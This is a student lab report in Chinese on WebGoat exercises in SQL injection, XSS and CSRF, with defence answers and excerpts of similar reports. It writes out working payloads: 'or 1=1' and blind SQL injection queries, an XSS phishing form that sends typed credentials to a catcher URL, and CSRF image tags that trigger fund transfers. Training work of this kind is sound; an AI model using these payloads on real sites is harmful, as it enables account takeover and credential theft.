20164317《网络对抗技术》Exp9 Web安全基础

Exp9 Web安全基础

一、实践目标

  1. 理解常用网络攻击技术的基本原理。
  2. 在Webgoat,实践相关实验。

SQL注入攻击

XSS攻击

CSRF攻击

二、实践过程

  1.环境配置:

  下好jar包然后放在根目录下

  使用:java -jar *.jar就可以解压运行webgoat了!

  2.使用webgoat:

  打开Firefox,输入http://127.0.0.1:8080/WebGoat/login.mvc访问webgoat

  

SQL注入攻击:

  Numeric SQL Injection

  要求注入字符串然后可以访问所有的天气情况:

  这里修改一下网页源代码就好了,随便选个城市然后修改他的value值,添加or 1=1 即可;

String SQL Injection

  要求作为smitn然后查看所有的信用卡信息:

  输入or 1=1 --

  --是注释掉后面的代码。

LAB: SQL Injection

  第一步:

  字符串注入:要求不使用正确密码就可以登陆管理员的账户,和前面一样,但是我们要先修改网站源代码

  使其在password一项中可以输入足够长:

然后构造真式即可

  第三步:

  Numeric SQL Injection

  先使用第一步的办法登陆员工的账户,然后再员工账户里点击查看按钮时查看管理员用户的信息

  我们先看看这个老板账户的值是排在表的最后:

然后就可以通过修改id为101 or 1=1order by salary desc这个语句来倒序查询下一个用户信息;

  下图就是修改位置,本来一开始想直接修改成老板的id但是不成功;

成功图:

 Blind Numeric SQL Injection

  数字盲注:要求就是通过输入框输入语句去查找到pins表里pin的值是多少:

  因为这里在输入框里输入语句可以进行判断,会给出判断结果,所以使用

  101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 2500);

  然后慢慢缩小范围即可:

找到最后的结果为2364:

Blind String SQL Injection

  和数字盲注差不多,这里是找字符串,语句就有所变化:

  101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) = ‘h‘ );

  意思是查找这个name的第一个字符的值是不是h

  这里有大小写区分,然后改变第一个1所在位置的值就是改变查找的字符串的字符位置;

  第一个字符为J

第二个为i

XSS攻击:

  跨站脚本钓鱼攻击(Phishing with XSS

(1)题目要求是关于一个页面中存在XSS漏洞时,如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。

(2)使用XSS和HTML插入制作一个钓鱼网站,将其输入在search框中,代码如下:

</form>

<script>

function hack(){

XSSImage=new Image;

XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";

alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);

}

</script>

<form name="phish">

<br><br>

<HR>

<H2>This feature requires account login:</H2>

<br>

<br>Enter Username:<br>

<input type="text" name="user">

<br>Enter Password:<br>

<input type="password" name = "pass">

<br>

<input type="submit" name="login" value="login" onclick="hack()">

</form>

<br>

<br>

<HR

(3)输入后下拉网页,会有用户名和密码的框出现,随意输入用户名和密码

LAB: Cross Site Scripting

存储型XSS

(1)执行存储型跨站脚本攻击,以“Tom”身份登录网站,修改个人信息。验证用户“Jerry”会受到攻击。每个帐号的密码是用户明名字的小写(如:Tom的密码是tom)

(2)以用户名“Tom”密码tom登录,选择Tom,点击“View Profile”按钮。现在可 以看到Tom的个人信息。点击“Edit Profile",在“Street”一栏中进行XSS攻击。加入如下代码,点击“UpdateProfile": <script>alert("haha");</script>

(3)退出登录,以用户名Jerry,密码ferry登录,选择浏览Tom的信息,会弹出如下注入脚本,攻击成功

Stored XSS Revisited

验证Bruce的个人简介中包含有XSS攻击,使用David用户登录,查看Bruce的个人简介,出现弹窗,表明存在XSS攻击。

Reflected XSS

(1)使用雇员搜索页面漏洞构造一个包含反射型XSS攻击代码的URL。验证另一位雇员访问该URL会受影响。

(2)以用户名Tom,密码tom登录。点击“SearchStaff",在搜索框中,添加如下一段代 码即可完成: <script>alert("XSS");<script>

Stored XSS Attacks(存储式 XSS 攻击)

(1)目标是创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。

(2)在title中任意输入字符。在内容中输入以下代码: <script>alert("XSS");</script>

(3)点击“hellworld",这就比如刚创建的帖子,由自己或者其他人浏览,然后会弹出一个对话框,证明XSS攻击成功

Reflected XSS Attacks(反射型XSS

(1)1.当我们输入错误的用户信息后,服务器校验输入有误,会返回错误页面并将错误内容展示给我们看

(2)如果将带有攻击性的URL作为输入源,比如,就会弹出对话框 <script>alert("helloworld");</script>

Cross Site Request Forgery (CSRF)

要求:CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。

在这节课中,URL应该指向“攻击”servlet,

  其中包含了“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,它具有任意的数值。

  这里其实就说明了编写规则,只要查看网页上给出的scr和menu的值即可:

标题随便,在内容里写<imgsrc="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=20000"/>

  然后提交,打开消息就行了:

 

  CSRF Prompt By-Pass

  要求:输入代码,第一个为转帐的请求,第二个请求确认第一个请求触发的提示

  根据提示来编写,也是需要查看网页的几个值:

  然后编写成下面的代码即可:

  <img src="attack?Screen=1471017872&menu=900&transferFunds=6000"
  width="1"
height="1">
  <img
src="attack?Screen=1471017872&menu=900&transferFunds=confirm"
  width="1"
height="1">

CSRF Token By-Pass

  也是要求编写代码,构造好了,然后发送,点击即可

三、实验后回答问题

1SQL注入攻击原理,如何防御

1.对漏洞注入点相关代码进行处理,筛除特殊字符,以规范代码安全性;

2.关闭或删除不必要的交互式提交表单页面;

3.普通用户与系统管理员用户的权限要有严格的区分;

4.不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点。

2XSS攻击的原理,如何防御

1.网站开发者运用转义安全字符等手段,并且坚持不相信用户输入的任何数据的原则

2.表单提交的时候进行特殊字符的检测

3.对输入框做长度限制

4.在后台对数据进行过滤

3CSRF攻击原理,如何防御

1.使用令牌,每一个网页包含一个web server产生的令牌,提交时,也将该令牌提交到服务器,服务器进行判断,如果令牌不符合,就判定存在CSRF攻击;

2.将提交方法改为post,或将 GET请求设置为只浏览而不改变服务器端资源

3.定期清理cookie

4.使用随机数对表单中的值进行验证

四、实验总结

通过本次实验,加深了我对XSS攻击、SQL注入以及CSRF攻击的理解。虽然一开始下载jar包就用了很长时间,但对于行不通的方法真的要好好找资料换其他可行的方法,实践不止局限于课程中的指导,不断地查资料会让自己了解的更全面。

最后一次实验到这里就结束了,不过对安全的探究应该才刚刚开始,在经历了一个学期的技术课程学习后,收获挺大的,网络安全不知道算不算入门。

感谢老师的教学与指导!

原文地址:https://www.cnblogs.com/liauer/p/10920089.html

时间: 2024-11-02 09:19:57

20164317《网络对抗技术》Exp9 Web安全基础的相关文章

2018~2019-10 20165107 网络对抗技术 Exp9 Web安全基础

20165107 网络对抗技术 Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,包括(SQL,XSS,CSRF) Webgoat实践下相关实验. 基础问题问答 1.SQL注入攻击原理,如何防御 SQL注入攻击原理:是指通过构建特殊的输入作为参数传入Web应用程序,输入执行SQL语句进而执行攻击者所要的操作.如在用户名.密码登输入框中输入一些',--,#等特殊字符,实现引号闭合.注释部分SQL语句,利用永真式实现登录.显示信息等目的. 如何防御:

20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践

20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统.SQL 语句用于取回和更新数据库中的数据.SQL注入是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术.通过构建特殊的输入作为参数传入web应用程序,通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统. SQL注入

#20155232《网络对抗》Exp9 Web安全基础

20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击.sql注入.访问控制.隐藏字段.Cookie等: OWASP(Open Web Application Security Project)是一个非营利的组织,它的目的是帮助个人和企业来发现和使用可信赖的软件

20155308《网络对抗》Exp9 Web安全基础实践

20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞.WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS.线程安全.SQL注入等,我们本次的实验就是在WebGoat平台上进行. 1.WebGoat分为简单版和开发板,简单版是个Java的Jar包,

20155208徐子涵《网络对抗》Exp9 Web安全基础

20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目的我最后一次进行这个紧张刺激的活动了. WebGoat Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击.sql注入.访问控制.隐藏字段.Cookie等: 首先我们在kali里面下载Webgoat,这是一个jar包,因为在虚

20155323刘威良《网络对抗》Exp9 Web安全基础

20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoat是由OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来进行Web应用程序安全训练的.这个应用程序提供了一个逼真的模拟实战的教学环境,为用户完成课程提供了有关的线索. 我们在终端下输入命令java -jar webgoat-container-7.0.1-

20145317彭垚《网络对抗》Exp9 Web安全基础实践

20145317彭垚<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉得主要还是应该从代码上入手: 采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可.它的原理就是sql注入只对sql语句的准备(编译)过程有破坏作用,而Prep

20145311王亦徐 《网络对抗技术》 Web安全基础实践

2014531王亦徐 <网络对抗技术> Web安全基础实践 实验内容 利用WebGoat平台尝试了一些XSS.CSRF.SQL注入攻击 基础问题回答 1.SQL注入攻击原理,如何防御原理: SQL注入是指攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息.简单地认为是将sql语句作为输入交给表单或者通过域名等将sql交给后台,从而欺骗服务器执行sql语句 防范: 过滤字符串,对一些数据库敏感

20145236《网络对抗》Exp9 web安全基础实践

20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句. 对用户的输入进行校验,可以通过正则表达式,或限制长

20155324《网络对抗技术》web安全基础实践

20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当做用户名等输入正常网页中以获取数据库信息的攻击,最终达到欺骗服务器执行恶意的SQL命令 ②对输入的数据进行过滤,在数据库中对密码进行加密 XSS攻击的原理,如何防御 ①通过对网页注入可执行代码,成功地被浏览器执行,以达到攻击的目的